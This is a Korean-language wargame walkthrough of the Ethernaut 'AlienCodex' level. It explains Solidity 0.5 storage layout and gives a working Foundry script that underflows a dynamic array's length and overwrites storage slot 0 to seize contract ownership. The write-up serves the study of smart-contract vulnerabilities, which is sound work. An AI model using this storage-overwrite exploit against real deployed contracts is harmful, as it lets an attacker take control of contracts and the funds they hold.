> For the complete documentation index, see [llms.txt](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/ethernaut/19.-aliencodex.md).

# 19. AlienCodex

\#storage #mappings #dynamic-arrays

> 외계인 컨트랙트를 발견했습니다. 이 컨트랙트의 소유권을 획득하면 레벨을 완료할 수 있습니다.
>
> 도움이 될 만한 것들:
>
> * 배열의 저장 방식에 대한 이해
> * [ABI 명세서](https://solidity.readthedocs.io/en/v0.4.21/abi-spec.html) 이해하기
> * 약간은 손쉬운(`underhanded`) 방법을 써볼 필요도 있을지 모릅니다.

### 들어가기 전에

1. 버전 0.5.0

버전을 보면 0.5.0으로 언더플로우 공격이 가능한 상태이다.

2. 배열의 내용은 어떻게 저장될까?

배열이 스토리지 슬롯  1 에 선언되어 있다면 배열\[i]의 값 위치는 Kecccak256(1)+i

3. 상속된 변수들은 어떻게 저장될까?

저장 순서는 부모 → 자식 순서로 되고 선언 순서대로 slot의 번호가 매겨진다.

contract a is b,c 로 상속이 되어있다면 b의 변수부터 슬롯 0을 차지한다.

b→c→a 의 순서로 저장이 된다.

***

### 원본 소스 코드

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function makeContact() public { 
        contact = true; //[1]
    }

    function record(bytes32 _content) public contacted {
        codex.push(_content);
    }

    function retract() public contacted {
        codex.length--; //[2]
    }

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content; //[3]
    }
}
```

```
[1] : contact를 true로 바꿔서 다른 함수들에 접근할 수 있도록 한다.

[2] : codex.length 의 길이를 줄인다.

[3] : condex[index]의 내용을 바꾼다.
```

***

### 공격 시나리오

이 문제는 ownership을 가져오는 문제로 결국 owner의 값을 player의 주소로 바꿔야한다.

1. makeContact()를 호출하여 modifier를 만족하게 한다.
2. 버전이 0.5.0 이므로 오버플로우를 사용할 수 있다. 그러므로 retract()를 호출하여 오버플로우를 내면 길이가 매우 길어진다.
3. Owner의 위치를 계산한 후 revise를 호출하여 owner의 위치를 배열로 접근하고 owner의 내용을 player의 주소로 바꾼다.

***

### 공격 코드

먼저 우리는 원본 코드에서 owner의 위치를 찾아야한다.

```solidity
//Ownable 0.5.0 버전 코드 원본
pragma solidity ^0.5.0;

contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() internal {
        _owner = msg.sender;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(isOwner(), "Ownable: caller is not the owner");
        _;
    }

    function isOwner() public view returns (bool) {
        return msg.sender == _owner;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
```

위 코드는 솔리디티에서 0.5.0 버전 당시 Ownable 의 원본 코드이다.

Ownable 은 첫번째 변수를 owner로 가지기 때문에 스토리지 slot 0에 owner가 저장되어있겠다는 것을 예상할 수 있다.

그럼 문제 코드에서 변수는 owner, contact, codex\[] 순으로 저장이 된다.

이제 ethernaut으로 문제를 배포하고 foundry를 통해 슬롯 0과 owner 변수의 값이 같은지 확인해볼 수 있다.

cast storage 를 이용해 확인한 0슬롯의 값.

```bash
cast storage [문제 주소] 0 --rpc-url [RPC-URL] 
```

<figure><img src="https://3512650551-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvLae9iTcYKyLdHhMtRVd%2Fuploads%2FIvOic77aTBkf6l7Qf5Ku%2Fimage%20(15).png?alt=media&amp;token=8399bad1-7571-406a-9538-7162ec07a9c1" alt=""><figcaption></figcaption></figure>

cast call을 이용하여 확인한 owner 변수의 값.

```bash
cast call  [문제 주소] "owner()" --rpc-url [RPC-URL]
```

<figure><img src="https://3512650551-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvLae9iTcYKyLdHhMtRVd%2Fuploads%2FufnR0BLnELTrp9v3XXvu%2Fimage%20(16).png?alt=media&amp;token=69997aef-feab-4afe-86cd-96c1e15808ee" alt=""><figcaption></figcaption></figure>

둘이 같으므로 0슬롯에 있는게 확실하다.

그럼 위치를 알았으니

codex로 내용을 덮는 것을 목표로 하면 된다.

contact는 slot 0의 owner 다음으로 저장이 되어있고 codex.length 가 slot 1에 저장되어있다. 주소는 20바이트고 bool은 1바이트 이므로 슬롯 0에 같이 들어간다.

```

00 [contact[1byte] owner[20bytes]]
01 [       codex[].length        ]
```

이와 같이 저장되어 있고 우리는 codex\[]가 슬롯 0을 가리키게 하고 20바이트를 덧씌워서 owner를 바꾸면 된다.

배열 codex\[i]의 값은 slot 번호 Keccak256(codex.length 슬롯 번호) + i 에 있으므로 이를 계산하여 위치를 찾아야 한다.

이더리움 스토리지 슬롯은 최대 256개이므로 만일 슬롯이 2^256을 넘는다면 mod 2^256이 적용된다.

codex\[].length는 슬롯 1에 저장이 되어있으므로

즉 Keccak256(1) + i **≡** 0 (mod 2^256) 이 되는 i 를 찾으면 된다.

그리고 해당하는 codex\[i]에 내 주소를 써넣으면 ownership을 가져온다.

그전에 일단 배열의 크기가 맨 처음에는 0이므로 length를 늘려줄 필요가 있다. index로 접근하려면 index\<length여야 한다.

이때 버전을 확인해보면 0.5.0 버전이고 이는 오버플로우가 가능하다는 뜻이다.

결과적으로 retract 함수를 호출하면 바로 언더플로우가 나서 모든 스토리지를 사용 가능하다.

#### index 값 계산하기

$$
Keccak256(1) + i ≡ 0 (mod \quad 2^{256})
$$

i = 2^{256} -keccak256(1)

스크립트 파일

```solidity
pragma solidity ^0.8.13;

import "forge-std/Script.sol";

interface AlienCodex {
    function makeContact() external;
    function retract() external;
    function revise(uint256 i, bytes32 content) external;
}

contract AttackScript is Script {
        address target = [타겟 주소]
        address attacker = [나의 주소];
    function run() external {
        
        vm.startBroadcast();
        AlienCodex alien = AlienCodex(target);

        alien.makeContact();

        alien.retract();

        uint256 hash = uint256(keccak256(abi.encode(1))); //[1]
        uint index = type(uint256).max - hash + 1; //[2]
        
        bytes32 value = bytes32(uint256(uint160(attacker))); //[3]
        alien.revise(index,value);

        vm.stopBroadcast();
    }
}
```

```
[1] : 숫자 1을 keccak256 암호화
[2] : (2^256-1) - keccak256(1) +1
[3] : 주소를 안전하게 변환
```

***

### :bangbang:더 알아보기 :bangbang:

> 이 레벨은 EVM이 배열의 ABI 인코딩 길이와 실제 데이터 길이가 일치하는지 검증하지 않는다는 점을 악용합니다.
>
> 또한, 배열 길이에 산술적 언더플로(arithmetic underflow)가 발생할 수 있음을 이용합니다. 배열의 길이를 `2^256`로 확장하면, 컨트랙트 전체 스토리지 영역에 접근할 수 있게 됩니다. 이를 통해 사용자(공격자)는 모든 저장소 데이터를 조작할 수 있습니다.
>
> 두 취약점 모두 2017년에 열린 [Underhanded Solidity Coding Contest](https://medium.com/@weka/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079)에서 영감을 받았습니다.
